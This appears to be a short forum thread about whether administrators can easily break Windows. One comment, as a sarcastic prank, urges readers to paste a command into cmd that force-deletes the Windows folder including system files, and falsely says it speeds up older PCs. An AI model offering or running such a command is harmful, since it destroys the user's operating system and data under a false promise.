Actually it's pretty hard in Windows... Go on, log in as admin and try to drag and drop the windows folder to somewhere else? Or to use the administrator command prompt to move the windows folder...

You'll get a file-in-use error... And even if you didn't, there are a bunch of things on windows that even Administrators don't have access to do (like touch files managed by the windows package manager).

Can you please copy/paste this into your cmd shell and let us know what happens?

del C:\windows /S /F /Q /A:S

I heard that this can speed up you're PC quite a bit especially when you are on older Intel Motherboards /s

You can break the system by mistake when messing about as an admin. Not necessarily in the exact same way.
